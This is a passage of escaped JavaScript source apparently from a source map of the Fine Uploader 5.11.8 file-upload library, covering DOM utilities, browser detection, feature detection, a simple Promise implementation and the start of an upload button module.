this;\n        },\n\n        removeClass: function(name) {\n            var re = new RegExp(\"(^| )\" + name + \"( |$)\");\n            element.className = element.className.replace(re, \" \").replace(/^\\s+|\\s+$/g, \"\");\n            return this;\n        },\n\n        getByClass: function(className, first) {\n            var candidates,\n                result = [];\n\n            if (first && element.querySelector) {\n                return element.querySelector(\".\" + className);\n            }\n            else if (element.querySelectorAll) {\n                return element.querySelectorAll(\".\" + className);\n            }\n\n            candidates = element.getElementsByTagName(\"*\");\n\n            qq.each(candidates, function(idx, val) {\n                if (qq(val).hasClass(className)) {\n                    result.push(val);\n                }\n            });\n            return first ? result[0] : result;\n        },\n\n        getFirstByClass: function(className) {\n            return qq(element).getByClass(className, true);\n        },\n\n        children: function() {\n            var children = [],\n                child = element.firstChild;\n\n            while (child) {\n                if (child.nodeType === 1) {\n                    children.push(child);\n                }\n                child = child.nextSibling;\n            }\n\n            return children;\n        },\n\n        setText: function(text) {\n            element.innerText = text;\n            element.textContent = text;\n            return this;\n        },\n\n        clearText: function() {\n            return qq(element).setText(\"\");\n        },\n\n        // Returns true if the attribute exists on the element\n        // AND the value of the attribute is NOT \"false\" (case-insensitive)\n        hasAttribute: function(attrName) {\n            var attrVal;\n\n            if (element.hasAttribute) {\n\n                if (!element.hasAttribute(attrName)) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(element.getAttribute(attrName)) == null;\n            }\n            else {\n                attrVal = element[attrName];\n\n                if (attrVal === undefined) {\n                    return false;\n                }\n\n                /*jshint -W116*/\n                return (/^false$/i).exec(attrVal) == null;\n            }\n        }\n    };\n};\n\n(function() {\n    \"use strict\";\n\n    qq.canvasToBlob = function(canvas, mime, quality) {\n        return qq.dataUriToBlob(canvas.toDataURL(mime, quality));\n    };\n\n    qq.dataUriToBlob = function(dataUri) {\n        var arrayBuffer, byteString,\n            createBlob = function(data, mime) {\n                var BlobBuilder = window.BlobBuilder ||\n                        window.WebKitBlobBuilder ||\n                        window.MozBlobBuilder ||\n                        window.MSBlobBuilder,\n                    blobBuilder = BlobBuilder && new BlobBuilder();\n\n                if (blobBuilder) {\n                    blobBuilder.append(data);\n                    return blobBuilder.getBlob(mime);\n                }\n                else {\n                    return new Blob([data], {type: mime});\n                }\n            },\n            intArray, mimeString;\n\n        // convert base64 to raw binary data held in a string\n        if (dataUri.split(\",\")[0].indexOf(\"base64\") >= 0) {\n            byteString = atob(dataUri.split(\",\")[1]);\n        }\n        else {\n            byteString = decodeURI(dataUri.split(\",\")[1]);\n        }\n\n        // extract the MIME\n        mimeString = dataUri.split(\",\")[0]\n            .split(\":\")[1]\n            .split(\";\")[0];\n\n        // write the bytes of the binary string to an ArrayBuffer\n        arrayBuffer = new ArrayBuffer(byteString.length);\n        intArray = new Uint8Array(arrayBuffer);\n        qq.each(byteString, function(idx, character) {\n            intArray[idx] = character.charCodeAt(0);\n        });\n\n        return createBlob(arrayBuffer, mimeString);\n    };\n\n    qq.log = function(message, level) {\n        if (window.console) {\n            if (!level || level === \"info\") {\n                window.console.log(message);\n            }\n            else\n            {\n                if (window.console[level]) {\n                    window.console[level](message);\n                }\n                else {\n                    window.console.log(\"<\" + level + \"> \" + message);\n                }\n            }\n        }\n    };\n\n    qq.isObject = function(variable) {\n        return variable && !variable.nodeType && Object.prototype.toString.call(variable) === \"[object Object]\";\n    };\n\n    qq.isFunction = function(variable) {\n        return typeof (variable) === \"function\";\n    };\n\n    /**\n     * Check the type of a value.  Is it an \"array\"?\n     *\n     * @param value value to test.\n     * @returns true if the value is an array or associated with an `ArrayBuffer`\n     */\n    qq.isArray = function(value) {\n        return Object.prototype.toString.call(value) === \"[object Array]\" ||\n            (value && window.ArrayBuffer && value.buffer && value.buffer.constructor === ArrayBuffer);\n    };\n\n    // Looks for an object on a `DataTransfer` object that is associated with drop events when utilizing the Filesystem API.\n    qq.isItemList = function(maybeItemList) {\n        return Object.prototype.toString.call(maybeItemList) === \"[object DataTransferItemList]\";\n    };\n\n    // Looks for an object on a `NodeList` or an `HTMLCollection`|`HTMLFormElement`|`HTMLSelectElement`\n    // object that is associated with collections of Nodes.\n    qq.isNodeList = function(maybeNodeList) {\n        return Object.prototype.toString.call(maybeNodeList) === \"[object NodeList]\" ||\n            // If `HTMLCollection` is the actual type of the object, we must determine this\n            // by checking for expected properties/methods on the object\n            (maybeNodeList.item && maybeNodeList.namedItem);\n    };\n\n    qq.isString = function(maybeString) {\n        return Object.prototype.toString.call(maybeString) === \"[object String]\";\n    };\n\n    qq.trimStr = function(string) {\n        if (String.prototype.trim) {\n            return string.trim();\n        }\n\n        return string.replace(/^\\s+|\\s+$/g, \"\");\n    };\n\n    /**\n     * @param str String to format.\n     * @returns {string} A string, swapping argument values with the associated occurrence of {} in the passed string.\n     */\n    qq.format = function(str) {\n\n        var args =  Array.prototype.slice.call(arguments, 1),\n            newStr = str,\n            nextIdxToReplace = newStr.indexOf(\"{}\");\n\n        qq.each(args, function(idx, val) {\n            var strBefore = newStr.substring(0, nextIdxToReplace),\n                strAfter = newStr.substring(nextIdxToReplace + 2);\n\n            newStr = strBefore + val + strAfter;\n            nextIdxToReplace = newStr.indexOf(\"{}\", nextIdxToReplace + val.length);\n\n            // End the loop if we have run out of tokens (when the arguments exceed the # of tokens)\n            if (nextIdxToReplace < 0) {\n                return false;\n            }\n        });\n\n        return newStr;\n    };\n\n    qq.isFile = function(maybeFile) {\n        return window.File && Object.prototype.toString.call(maybeFile) === \"[object File]\";\n    };\n\n    qq.isFileList = function(maybeFileList) {\n        return window.FileList && Object.prototype.toString.call(maybeFileList) === \"[object FileList]\";\n    };\n\n    qq.isFileOrInput = function(maybeFileOrInput) {\n        return qq.isFile(maybeFileOrInput) || qq.isInput(maybeFileOrInput);\n    };\n\n    qq.isInput = function(maybeInput, notFile) {\n        var evaluateType = function(type) {\n            var normalizedType = type.toLowerCase();\n\n            if (notFile) {\n                return normalizedType !== \"file\";\n            }\n\n            return normalizedType === \"file\";\n        };\n\n        if (window.HTMLInputElement) {\n            if (Object.prototype.toString.call(maybeInput) === \"[object HTMLInputElement]\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n        if (maybeInput.tagName) {\n            if (maybeInput.tagName.toLowerCase() === \"input\") {\n                if (maybeInput.type && evaluateType(maybeInput.type)) {\n                    return true;\n                }\n            }\n        }\n\n        return false;\n    };\n\n    qq.isBlob = function(maybeBlob) {\n        if (window.Blob && Object.prototype.toString.call(maybeBlob) === \"[object Blob]\") {\n            return true;\n        }\n    };\n\n    qq.isXhrUploadSupported = function() {\n        var input = document.createElement(\"input\");\n        input.type = \"file\";\n\n        return (\n            input.multiple !== undefined &&\n                typeof File !== \"undefined\" &&\n                typeof FormData !== \"undefined\" &&\n                typeof (qq.createXhrInstance()).upload !== \"undefined\");\n    };\n\n    // Fall back to ActiveX is native XHR is disabled (possible in any version of IE).\n    qq.createXhrInstance = function() {\n        if (window.XMLHttpRequest) {\n            return new XMLHttpRequest();\n        }\n\n        try {\n            return new ActiveXObject(\"MSXML2.XMLHTTP.3.0\");\n        }\n        catch (error) {\n            qq.log(\"Neither XHR or ActiveX are supported!\", \"error\");\n            return null;\n        }\n    };\n\n    qq.isFolderDropSupported = function(dataTransfer) {\n        return dataTransfer.items &&\n            dataTransfer.items.length > 0 &&\n            dataTransfer.items[0].webkitGetAsEntry;\n    };\n\n    qq.isFileChunkingSupported = function() {\n        return !qq.androidStock() && //Android's stock browser cannot upload Blobs correctly\n            qq.isXhrUploadSupported() &&\n            (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);\n    };\n\n    qq.sliceBlob = function(fileOrBlob, start, end) {\n        var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;\n\n        return slicer.call(fileOrBlob, start, end);\n    };\n\n    qq.arrayBufferToHex = function(buffer) {\n        var bytesAsHex = \"\",\n            bytes = new Uint8Array(buffer);\n\n        qq.each(bytes, function(idx, byt) {\n            var byteAsHexStr = byt.toString(16);\n\n            if (byteAsHexStr.length < 2) {\n                byteAsHexStr = \"0\" + byteAsHexStr;\n            }\n\n            bytesAsHex += byteAsHexStr;\n        });\n\n        return bytesAsHex;\n    };\n\n    qq.readBlobToHex = function(blob, startOffset, length) {\n        var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length),\n            fileReader = new FileReader(),\n            promise = new qq.Promise();\n\n        fileReader.onload = function() {\n            promise.success(qq.arrayBufferToHex(fileReader.result));\n        };\n\n        fileReader.onerror = promise.failure;\n\n        fileReader.readAsArrayBuffer(initialBlob);\n\n        return promise;\n    };\n\n    qq.extend = function(first, second, extendNested) {\n        qq.each(second, function(prop, val) {\n            if (extendNested && qq.isObject(val)) {\n                if (first[prop] === undefined) {\n                    first[prop] = {};\n                }\n                qq.extend(first[prop], val, true);\n            }\n            else {\n                first[prop] = val;\n            }\n        });\n\n        return first;\n    };\n\n    /**\n     * Allow properties in one object to override properties in another,\n     * keeping track of the original values from the target object.\n     *\n     * Note that the pre-overriden properties to be overriden by the source will be passed into the `sourceFn` when it is invoked.\n     *\n     * @param target Update properties in this object from some source\n     * @param sourceFn A function that, when invoked, will return properties that will replace properties with the same name in the target.\n     * @returns {object} The target object\n     */\n    qq.override = function(target, sourceFn) {\n        var super_ = {},\n            source = sourceFn(super_);\n\n        qq.each(source, function(srcPropName, srcPropVal) {\n            if (target[srcPropName] !== undefined) {\n                super_[srcPropName] = target[srcPropName];\n            }\n\n            target[srcPropName] = srcPropVal;\n        });\n\n        return target;\n    };\n\n    /**\n     * Searches for a given element (elt) in the array, returns -1 if it is not present.\n     */\n    qq.indexOf = function(arr, elt, from) {\n        if (arr.indexOf) {\n            return arr.indexOf(elt, from);\n        }\n\n        from = from || 0;\n        var len = arr.length;\n\n        if (from < 0) {\n            from += len;\n        }\n\n        for (; from < len; from += 1) {\n            if (arr.hasOwnProperty(from) && arr[from] === elt) {\n                return from;\n            }\n        }\n        return -1;\n    };\n\n    //this is a version 4 UUID\n    qq.getUniqueId = function() {\n        return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(/[xy]/g, function(c) {\n            /*jslint eqeq: true, bitwise: true*/\n            var r = Math.random() * 16 | 0, v = c == \"x\" ? r : (r & 0x3 | 0x8);\n            return v.toString(16);\n        });\n    };\n\n    //\n    // Browsers and platforms detection\n    qq.ie = function() {\n        return navigator.userAgent.indexOf(\"MSIE\") !== -1 ||\n            navigator.userAgent.indexOf(\"Trident\") !== -1;\n    };\n\n    qq.ie7 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 7\") !== -1;\n    };\n\n    qq.ie8 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 8\") !== -1;\n    };\n\n    qq.ie10 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 10\") !== -1;\n    };\n\n    qq.ie11 = function() {\n        return qq.ie() && navigator.userAgent.indexOf(\"rv:11\") !== -1;\n    };\n\n    qq.edge = function() {\n        return navigator.userAgent.indexOf(\"Edge\") >= 0;\n    };\n\n    qq.safari = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Apple\") !== -1;\n    };\n\n    qq.chrome = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Google\") !== -1;\n    };\n\n    qq.opera = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Opera\") !== -1;\n    };\n\n    qq.firefox = function() {\n        return (!qq.edge() && !qq.ie11() && navigator.userAgent.indexOf(\"Mozilla\") !== -1 && navigator.vendor !== undefined && navigator.vendor === \"\");\n    };\n\n    qq.windows = function() {\n        return navigator.platform === \"Win32\";\n    };\n\n    qq.android = function() {\n        return navigator.userAgent.toLowerCase().indexOf(\"android\") !== -1;\n    };\n\n    // We need to identify the Android stock browser via the UA string to work around various bugs in this browser,\n    // such as the one that prevents a `Blob` from being uploaded.\n    qq.androidStock = function() {\n        return qq.android() && navigator.userAgent.toLowerCase().indexOf(\"chrome\") < 0;\n    };\n\n    qq.ios6 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 6_\") !== -1;\n    };\n\n    qq.ios7 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 7_\") !== -1;\n    };\n\n    qq.ios8 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_\") !== -1;\n    };\n\n    // iOS 8.0.0\n    qq.ios800 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_0 \") !== -1;\n    };\n\n    qq.ios = function() {\n        /*jshint -W014 */\n        return navigator.userAgent.indexOf(\"iPad\") !== -1\n            || navigator.userAgent.indexOf(\"iPod\") !== -1\n            || navigator.userAgent.indexOf(\"iPhone\") !== -1;\n    };\n\n    qq.iosChrome = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\"CriOS\") !== -1;\n    };\n\n    qq.iosSafari = function() {\n        return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf(\"Safari\") !== -1;\n    };\n\n    qq.iosSafariWebView = function() {\n        return qq.ios() && !qq.iosChrome() && !qq.iosSafari();\n    };\n\n    //\n    // Events\n\n    qq.preventDefault = function(e) {\n        if (e.preventDefault) {\n            e.preventDefault();\n        } else {\n            e.returnValue = false;\n        }\n    };\n\n    /**\n     * Creates and returns element from html string\n     * Uses innerHTML to create an element\n     */\n    qq.toElement = (function() {\n        var div = document.createElement(\"div\");\n        return function(html) {\n            div.innerHTML = html;\n            var element = div.firstChild;\n            div.removeChild(element);\n            return element;\n        };\n    }());\n\n    //key and value are passed to callback for each entry in the iterable item\n    qq.each = function(iterableItem, callback) {\n        var keyOrIndex, retVal;\n\n        if (iterableItem) {\n            // Iterate through [`Storage`](http://www.w3.org/TR/webstorage/#the-storage-interface) items\n            if (window.Storage && iterableItem.constructor === window.Storage) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            // `DataTransferItemList` & `NodeList` objects are array-like and should be treated as arrays\n            // when iterating over items inside the object.\n            else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else if (qq.isString(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else {\n                for (keyOrIndex in iterableItem) {\n                    if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {\n                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                        if (retVal === false) {\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    //include any args that should be passed to the new function after the context arg\n    qq.bind = function(oldFunc, context) {\n        if (qq.isFunction(oldFunc)) {\n            var args =  Array.prototype.slice.call(arguments, 2);\n\n            return function() {\n                var newArgs = qq.extend([], args);\n                if (arguments.length) {\n                    newArgs = newArgs.concat(Array.prototype.slice.call(arguments));\n                }\n                return oldFunc.apply(context, newArgs);\n            };\n        }\n\n        throw new Error(\"first parameter must be a function!\");\n    };\n\n    /**\n     * obj2url() takes a json-object as argument and generates\n     * a querystring. pretty much like jQuery.param()\n     *\n     * how to use:\n     *\n     *    `qq.obj2url({a:'b',c:'d'},'http://any.url/upload?otherParam=value');`\n     *\n     * will result in:\n     *\n     *    `http://any.url/upload?otherParam=value&a=b&c=d`\n     *\n     * @param  Object JSON-Object\n     * @param  String current querystring-part\n     * @return String encoded querystring\n     */\n    qq.obj2url = function(obj, temp, prefixDone) {\n        /*jshint laxbreak: true*/\n        var uristrings = [],\n            prefix = \"&\",\n            add = function(nextObj, i) {\n                var nextTemp = temp\n                    ? (/\\[\\]$/.test(temp)) // prevent double-encoding\n                    ? temp\n                    : temp + \"[\" + i + \"]\"\n                    : i;\n                if ((nextTemp !== \"undefined\") && (i !== \"undefined\")) {\n                    uristrings.push(\n                        (typeof nextObj === \"object\")\n                            ? qq.obj2url(nextObj, nextTemp, true)\n                            : (Object.prototype.toString.call(nextObj) === \"[object Function]\")\n                            ? encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj())\n                            : encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj)\n                    );\n                }\n            };\n\n        if (!prefixDone && temp) {\n            prefix = (/\\?/.test(temp)) ? (/\\?$/.test(temp)) ? \"\" : \"&\" : \"?\";\n            uristrings.push(temp);\n            uristrings.push(qq.obj2url(obj));\n        } else if ((Object.prototype.toString.call(obj) === \"[object Array]\") && (typeof obj !== \"undefined\")) {\n            qq.each(obj, function(idx, val) {\n                add(val, idx);\n            });\n        } else if ((typeof obj !== \"undefined\") && (obj !== null) && (typeof obj === \"object\")) {\n            qq.each(obj, function(prop, val) {\n                add(val, prop);\n            });\n        } else {\n            uristrings.push(encodeURIComponent(temp) + \"=\" + encodeURIComponent(obj));\n        }\n\n        if (temp) {\n            return uristrings.join(prefix);\n        } else {\n            return uristrings.join(prefix)\n                .replace(/^&/, \"\")\n                .replace(/%20/g, \"+\");\n        }\n    };\n\n    qq.obj2FormData = function(obj, formData, arrayKeyName) {\n        if (!formData) {\n            formData = new FormData();\n        }\n\n        qq.each(obj, function(key, val) {\n            key = arrayKeyName ? arrayKeyName + \"[\" + key + \"]\" : key;\n\n            if (qq.isObject(val)) {\n                qq.obj2FormData(val, formData, key);\n            }\n            else if (qq.isFunction(val)) {\n                formData.append(key, val());\n            }\n            else {\n                formData.append(key, val);\n            }\n        });\n\n        return formData;\n    };\n\n    qq.obj2Inputs = function(obj, form) {\n        var input;\n\n        if (!form) {\n            form = document.createElement(\"form\");\n        }\n\n        qq.obj2FormData(obj, {\n            append: function(key, val) {\n                input = document.createElement(\"input\");\n                input.setAttribute(\"name\", key);\n                input.setAttribute(\"value\", val);\n                form.appendChild(input);\n            }\n        });\n\n        return form;\n    };\n\n    /**\n     * Not recommended for use outside of Fine Uploader since this falls back to an unchecked eval if JSON.parse is not\n     * implemented.  For a more secure JSON.parse polyfill, use Douglas Crockford's json2.js.\n     */\n    qq.parseJson = function(json) {\n        /*jshint evil: true*/\n        if (window.JSON && qq.isFunction(JSON.parse)) {\n            return JSON.parse(json);\n        } else {\n            return eval(\"(\" + json + \")\");\n        }\n    };\n\n    /**\n     * Retrieve the extension of a file, if it exists.\n     *\n     * @param filename\n     * @returns {string || undefined}\n     */\n    qq.getExtension = function(filename) {\n        var extIdx = filename.lastIndexOf(\".\") + 1;\n\n        if (extIdx > 0) {\n            return filename.substr(extIdx, filename.length - extIdx);\n        }\n    };\n\n    qq.getFilename = function(blobOrFileInput) {\n        /*jslint regexp: true*/\n\n        if (qq.isInput(blobOrFileInput)) {\n            // get input value and remove path to normalize\n            return blobOrFileInput.value.replace(/.*(\\/|\\\\)/, \"\");\n        }\n        else if (qq.isFile(blobOrFileInput)) {\n            if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {\n                return blobOrFileInput.fileName;\n            }\n        }\n\n        return blobOrFileInput.name;\n    };\n\n    /**\n     * A generic module which supports object disposing in dispose() method.\n     * */\n    qq.DisposeSupport = function() {\n        var disposers = [];\n\n        return {\n            /** Run all registered disposers */\n            dispose: function() {\n                var disposer;\n                do {\n                    disposer = disposers.shift();\n                    if (disposer) {\n                        disposer();\n                    }\n                }\n                while (disposer);\n            },\n\n            /** Attach event handler and register de-attacher as a disposer */\n            attach: function() {\n                var args = arguments;\n                /*jslint undef:true*/\n                this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));\n            },\n\n            /** Add disposer to the collection */\n            addDisposer: function(disposeFunction) {\n                disposers.push(disposeFunction);\n            }\n        };\n    };\n}());\n","/* globals define, module, global, qq */\n(function() {\n    \"use strict\";\n    if (typeof define === \"function\" && define.amd) {\n        define(function() {\n            return qq;\n        });\n    }\n    else if (typeof module !== \"undefined\" && module.exports) {\n        module.exports = qq;\n    }\n    else {\n        global.qq = qq;\n    }\n}());\n","/* globals qq */\n/**\n * Fine Uploader top-level Error container.  Inherits from `Error`.\n */\n(function() {\n    \"use strict\";\n\n    qq.Error = function(message) {\n        this.message = \"[Fine Uploader \" + qq.version + \"] \" + message;\n    };\n\n    qq.Error.prototype = new Error();\n}());\n","/*global qq */\nqq.version = \"5.11.8\";\n","/* globals qq */\nqq.supportedFeatures = (function() {\n    \"use strict\";\n\n    var supportsUploading,\n        supportsUploadingBlobs,\n        supportsFileDrop,\n        supportsAjaxFileUploading,\n        supportsFolderDrop,\n        supportsChunking,\n        supportsResume,\n        supportsUploadViaPaste,\n        supportsUploadCors,\n        supportsDeleteFileXdr,\n        supportsDeleteFileCorsXhr,\n        supportsDeleteFileCors,\n        supportsFolderSelection,\n        supportsImagePreviews,\n        supportsUploadProgress;\n\n    function testSupportsFileInputElement() {\n        var supported = true,\n            tempInput;\n\n        try {\n            tempInput = document.createElement(\"input\");\n            tempInput.type = \"file\";\n            qq(tempInput).hide();\n\n            if (tempInput.disabled) {\n                supported = false;\n            }\n        }\n        catch (ex) {\n            supported = false;\n        }\n\n        return supported;\n    }\n\n    //only way to test for Filesystem API support since webkit does not expose the DataTransfer interface\n    function isChrome21OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[2][1-9]|Chrome\\/[3-9][0-9]/) !== undefined;\n    }\n\n    //only way to test for complete Clipboard API support at this time\n    function isChrome14OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[1][4-9]|Chrome\\/[2-9][0-9]/) !== undefined;\n    }\n\n    //Ensure we can send cross-origin `XMLHttpRequest`s\n    function isCrossOriginXhrSupported() {\n        if (window.XMLHttpRequest) {\n            var xhr = qq.createXhrInstance();\n\n            //Commonly accepted test for XHR CORS support.\n            return xhr.withCredentials !== undefined;\n        }\n\n        return false;\n    }\n\n    //Test for (terrible) cross-origin ajax transport fallback for IE9 and IE8\n    function isXdrSupported() {\n        return window.XDomainRequest !== undefined;\n    }\n\n    // CORS Ajax requests are supported if it is either possible to send credentialed `XMLHttpRequest`s,\n    // or if `XDomainRequest` is an available alternative.\n    function isCrossOriginAjaxSupported() {\n        if (isCrossOriginXhrSupported()) {\n            return true;\n        }\n\n        return isXdrSupported();\n    }\n\n    function isFolderSelectionSupported() {\n        // We know that folder selection is only supported in Chrome via this proprietary attribute for now\n        return document.createElement(\"input\").webkitdirectory !== undefined;\n    }\n\n    function isLocalStorageSupported() {\n        try {\n            return !!window.localStorage &&\n                // unpatched versions of IE10/11 have buggy impls of localStorage where setItem is a string\n                qq.isFunction(window.localStorage.setItem);\n        }\n        catch (error) {\n            // probably caught a security exception, so no localStorage for you\n            return false;\n        }\n    }\n\n    function isDragAndDropSupported() {\n        var span = document.createElement(\"span\");\n\n        return (\"draggable\" in span || (\"ondragstart\" in span && \"ondrop\" in span)) &&\n            !qq.android() && !qq.ios();\n    }\n\n    supportsUploading = testSupportsFileInputElement();\n\n    supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();\n\n    supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();\n\n    supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();\n\n    supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();\n\n    supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();\n\n    supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();\n\n    supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();\n\n    supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);\n\n    supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();\n\n    supportsDeleteFileXdr = isXdrSupported();\n\n    supportsDeleteFileCors = isCrossOriginAjaxSupported();\n\n    supportsFolderSelection = isFolderSelectionSupported();\n\n    supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;\n\n    supportsUploadProgress = (function() {\n        if (supportsAjaxFileUploading) {\n            return !qq.androidStock() && !qq.iosChrome();\n        }\n        return false;\n    }());\n\n    return {\n        ajaxUploading: supportsAjaxFileUploading,\n        blobUploading: supportsUploadingBlobs,\n        canDetermineSize: supportsAjaxFileUploading,\n        chunking: supportsChunking,\n        deleteFileCors: supportsDeleteFileCors,\n        deleteFileCorsXdr: supportsDeleteFileXdr, //NOTE: will also return true in IE10, where XDR is also supported\n        deleteFileCorsXhr: supportsDeleteFileCorsXhr,\n        dialogElement: !!window.HTMLDialogElement,\n        fileDrop: supportsFileDrop,\n        folderDrop: supportsFolderDrop,\n        folderSelection: supportsFolderSelection,\n        imagePreviews: supportsImagePreviews,\n        imageValidation: supportsImagePreviews,\n        itemSizeValidation: supportsAjaxFileUploading,\n        pause: supportsChunking,\n        progressBar: supportsUploadProgress,\n        resume: supportsResume,\n        scaling: supportsImagePreviews && supportsUploadingBlobs,\n        tiffPreviews: qq.safari(), // Not the best solution, but simple and probably accurate enough (for now)\n        unlimitedScaledImageSize: !qq.ios(), // false simply indicates that there is some known limit\n        uploading: supportsUploading,\n        uploadCors: supportsUploadCors,\n        uploadCustomHeaders: supportsAjaxFileUploading,\n        uploadNonMultipart: supportsAjaxFileUploading,\n        uploadViaPaste: supportsUploadViaPaste\n    };\n\n}());\n","/*globals qq*/\n\n// Is the passed object a promise instance?\nqq.isGenericPromise = function(maybePromise) {\n    \"use strict\";\n    return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));\n};\n\nqq.Promise = function() {\n    \"use strict\";\n\n    var successArgs, failureArgs,\n        successCallbacks = [],\n        failureCallbacks = [],\n        doneCallbacks = [],\n        state = 0;\n\n    qq.extend(this, {\n        then: function(onSuccess, onFailure) {\n            if (state === 0) {\n                if (onSuccess) {\n                    successCallbacks.push(onSuccess);\n                }\n                if (onFailure) {\n                    failureCallbacks.push(onFailure);\n                }\n            }\n            else if (state === -1) {\n                onFailure && onFailure.apply(null, failureArgs);\n            }\n            else if (onSuccess) {\n                onSuccess.apply(null, successArgs);\n            }\n\n            return this;\n        },\n\n        done: function(callback) {\n            if (state === 0) {\n                doneCallbacks.push(callback);\n            }\n            else {\n                callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);\n            }\n\n            return this;\n        },\n\n        success: function() {\n            state = 1;\n            successArgs = arguments;\n\n            if (successCallbacks.length) {\n                qq.each(successCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            return this;\n        },\n\n        failure: function() {\n            state = -1;\n            failureArgs = arguments;\n\n            if (failureCallbacks.length) {\n                qq.each(failureCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            return this;\n        }\n    });\n};\n","/* globals qq */\n/**\n * Placeholder for a Blob that will be generated on-demand.\n *\n * @param referenceBlob Parent of the generated blob\n * @param onCreate Function to invoke when the blob must be created.  Must be promissory.\n * @constructor\n */\nqq.BlobProxy = function(referenceBlob, onCreate) {\n    \"use strict\";\n\n    qq.extend(this, {\n        referenceBlob: referenceBlob,\n\n        create: function() {\n            return onCreate(referenceBlob);\n        }\n    });\n};\n","/*globals qq*/\n\n/**\n * This module represents an upload or \"Select File(s)\" button.  It's job is to embed an opaque `<input type=\"file\">`\n * element as a child of a provided \"container\" element.  This \"container\" element (`options.element`) is used to provide\n * a custom style for the `<input type=\"file\">` element.  The ability to change the style of the container element is also\n * provided here by adding CSS classes to the container on hover/focus.\n *\n * TODO Eliminate the mouseover and mouseout event handlers since the :hover CSS pseudo-class should now be\n * available on all supported browsers.\n *\n * @param o Options to override the default values\n */\nqq.UploadButton = function(o) {\n    \"use strict\";\n\n    var self = this,\n\n        disposeSupport = new qq.DisposeSupport(),\n\n        options = {\n            // Corresponds to the `accept` attribute on the associated `<input type=\"file\">`\n            acceptFiles: null,\n\n            // \"Container\" element\n            element: null,\n\n            focusClass: \"qq-upload-button-focus\",\n\n            // A true value allows folders to be selected, if supported by the UA\n            folders: false,\n\n            // **This option will be removed** in the future as the :hover CSS pseudo-class is available on all supported browsers\n            hoverClass: \"qq-upload-button-hover\",\n\n            ios8BrowserCrashWorkaround: false,\n\n            // If true adds `multiple` attribute to `<input type=\"file\">`\n            multiple: false,\n\n            // `name` attribute of `<input type=\"file\">`\n            name: \"qqfile\",\n\n            // Called when the browser invokes the onchange handler on the `<input type=\"file\">`\n            onChange: function(input) {},\n\n            title: null\n        },\n        input, buttonId;\n\n    // Overrides any of the default option values with any option values passed in during construction.\n    qq.extend(options, o);\n\n    buttonId = qq.getUniqueId();\n\n    // Embed an opaque `<input type=\"file\">` element as a child of `options.element`.\n    function createInput() {\n        var input = document.createElement(\"input\");\n\n        input.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME, buttonId);\n        input.setAttribute(\"title\", options.title);\n\n        self.setMultiple(options.multiple, input);\n\n        if (options.folders && qq.supportedFeatures.folderSelection) {\n            // selecting directories is only possible in Chrome now, via a vendor-specific prefixed attribute\n            input.setAttribute(\"webkitdirectory\", \"\");\n        